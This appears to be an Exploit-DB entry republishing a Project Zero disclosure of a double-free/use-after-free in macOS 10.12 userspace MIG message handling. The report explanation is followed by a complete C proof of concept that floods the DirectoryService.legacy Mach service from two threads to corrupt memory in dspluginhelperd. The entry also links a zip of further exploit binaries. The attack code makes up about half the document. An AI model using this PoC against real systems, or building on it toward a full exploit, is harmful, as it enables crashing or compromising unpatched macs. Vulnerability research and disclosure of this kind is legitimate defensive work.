Apple macOS 10.12 - Double vm_deallocate in Userspace MIG Code Use-After-Free

EDB-ID:

40954




Platform:

macOS

Date:

2016-12-22


/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=954

Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40954.zip

Userspace MIG services often use mach_msg_server or mach_msg_server_once to implent an RPC server.

These two functions are also responsible for managing the resources associated with each message
similar to the ipc_kobject_server routine in the kernel.

If a MIG handler method returns an error code then it is assumed to not have take ownership of any
of the resources in the message and both mach_msg_server and mach_msg_server_once will pass the message
to mach_msg_destroy:

If the message had and OOL memory descriptor it reaches this code:


  case MACH_MSG_OOL_DESCRIPTOR : {
    mach_msg_ool_descriptor_t *dsc;

    dsc = &saddr->out_of_line;
    if (dsc->deallocate) {
        mach_msg_destroy_memory((vm_offset_t)dsc->address,
        dsc->size);
    }
    break;
  }

...

  static void
  mach_msg_destroy_memory(vm_offset_t addr, vm_size_t size)
  {
      if (size != 0)
    (void) vm_deallocate(mach_task_self(), addr, size);
  }

If the deallocate flag is set in the ool descriptor then this will pass the address contained in the descriptor
to vm_deallocate.

By default MIG client code passes OOL memory with the copy type set to MACH_MSG_PHYSICAL_COPY which ends up with the
receiver getting a 0 value for deallocate (meaning that you *do* need vm_deallocate it in the handler even if you return
and error) but by setting the copy type to MACH_MSG_VIRTUAL_COPY in the sender deallocate will be 1 in the receiver meaning
that in cases where the MIG handler vm_deallocate's the ool memory and returns an error code the mach_msg_* code will
deallocate it again.

Exploitability hinges on being able to get the memory reallocated inbetween the two vm_deallocate calls, probably in another thread.

This PoC only demonstrates that an instance of the bug does exist in the first service I looked at,
com.apple.system.DirectoryService.legacy hosted by /usr/libexec/dspluginhelperd. Trace through in a debugger and you'll see the
two calls to vm_deallocate, first in _receive_session_create which returns an error code via the MIG reply message then in
mach_msg_destroy.

Note that this service has multiple threads interacting with mach messages in parallel.

I will have a play with some other services and try to exploit an instance of this bug class but the severity should
be clear from this PoC alone.

Tested on MacOS Sierra 10.12 16A323

##############################################################################

crash PoC

dspluginhelperd actually uses a global dispatch queue to receive and process mach messages,
these are by default parallel which makes triggering this bug to demonstrate memory corruption
quite easy, just talk to the service on two threads in parallel.

Note again that this isn't a report about this particular bug in this service but about the
MIG ecosystem - the various hand-written equivilents of mach_msg_server* / dispatch_mig_server
eg in notifyd and lots of other services all have the same issue.

*/

// ianbeer
// build: clang -o dsplug_parallel dsplug_parallel.c -lpthread

/*
crash PoC

dspluginhelperd actually uses a global dispatch queue to receive and process mach messages,
these are by default parallel which makes triggering this bug to demonstrate memory corruption
quite easy, just talk to the service on two threads in parallel.

Note again that this isn't a report about this particular bug in this service but about the
MIG ecosystem - the various hand-written equivilents of mach_msg_server* / dispatch_mig_server
eg in notifyd and lots of other services all have the same issue.
*/


#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>

char* service_name = "com.apple.system.DirectoryService.legacy";

mach_msg_header_t* msg;

struct dsmsg {
  mach_msg_header_t hdr;                // +0 (0x18)
  mach_msg_body_t body;                 // +0x18 (0x4)
  mach_msg_port_descriptor_t ool_port;  // +0x1c (0xc)
  mach_msg_ool_descriptor_t ool_data;   // +0x28 (0x10)
  uint8_t payload[0x8];                 // +0x38 (0x8)
  uint32_t ool_size;                    // +0x40 (0x4)
};                                      // +0x44

mach_port_t service_port = MACH_PORT_NULL;

void* do_thread(void* arg) {
  struct dsmsg* msg = (struct dsmsg*)arg;
  for(;;){
    kern_return_t err;
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   (mach_msg_size_t)sizeof(struct dsmsg),
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL); 
    printf("%s\n", mach_error_string(err));
  }
  return NULL;
}

int main() {
  mach_port_t bs;
  task_get_bootstrap_port(mach_task_self(), &bs);

  kern_return_t err = bootstrap_look_up(bs, service_name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", service_name);
    return 1;
  }
  
  if (service_port == MACH_PORT_NULL) {
    printf("bad service port\n");
    return 1;
  }

  printf("got port\n");
  
  void* ool = malloc(0x100000);
  memset(ool, 'A', 0x1000);

  struct dsmsg msg = {0};

  msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  msg.hdr.msgh_remote_port = service_port;
  msg.hdr.msgh_local_port = MACH_PORT_NULL;
  msg.hdr.msgh_id = 0x2328; // session_create

  msg.body.msgh_descriptor_count = 2;
  
  msg.ool_port.name = MACH_PORT_NULL;
  msg.ool_port.disposition = 20;
  msg.ool_port.type = MACH_MSG_PORT_DESCRIPTOR;

  msg.ool_data.address = ool;
  msg.ool_data.size = 0x1000;
  msg.ool_data.deallocate = 0; //1;
  msg.ool_data.copy = MACH_MSG_VIRTUAL_COPY;//MACH_MSG_PHYSICAL_COPY;
  msg.ool_data.type = MACH_MSG_OOL_DESCRIPTOR;

  msg.ool_size = 0x1000;

  pthread_t threads[2] = {0};
  pthread_create(&threads[0], NULL, do_thread, (void*)&msg);
  pthread_create(&threads[1], NULL, do_thread, (void*)&msg);

  pthread_join(threads[0], NULL);
  pthread_join(threads[1], NULL);


  return 0;
}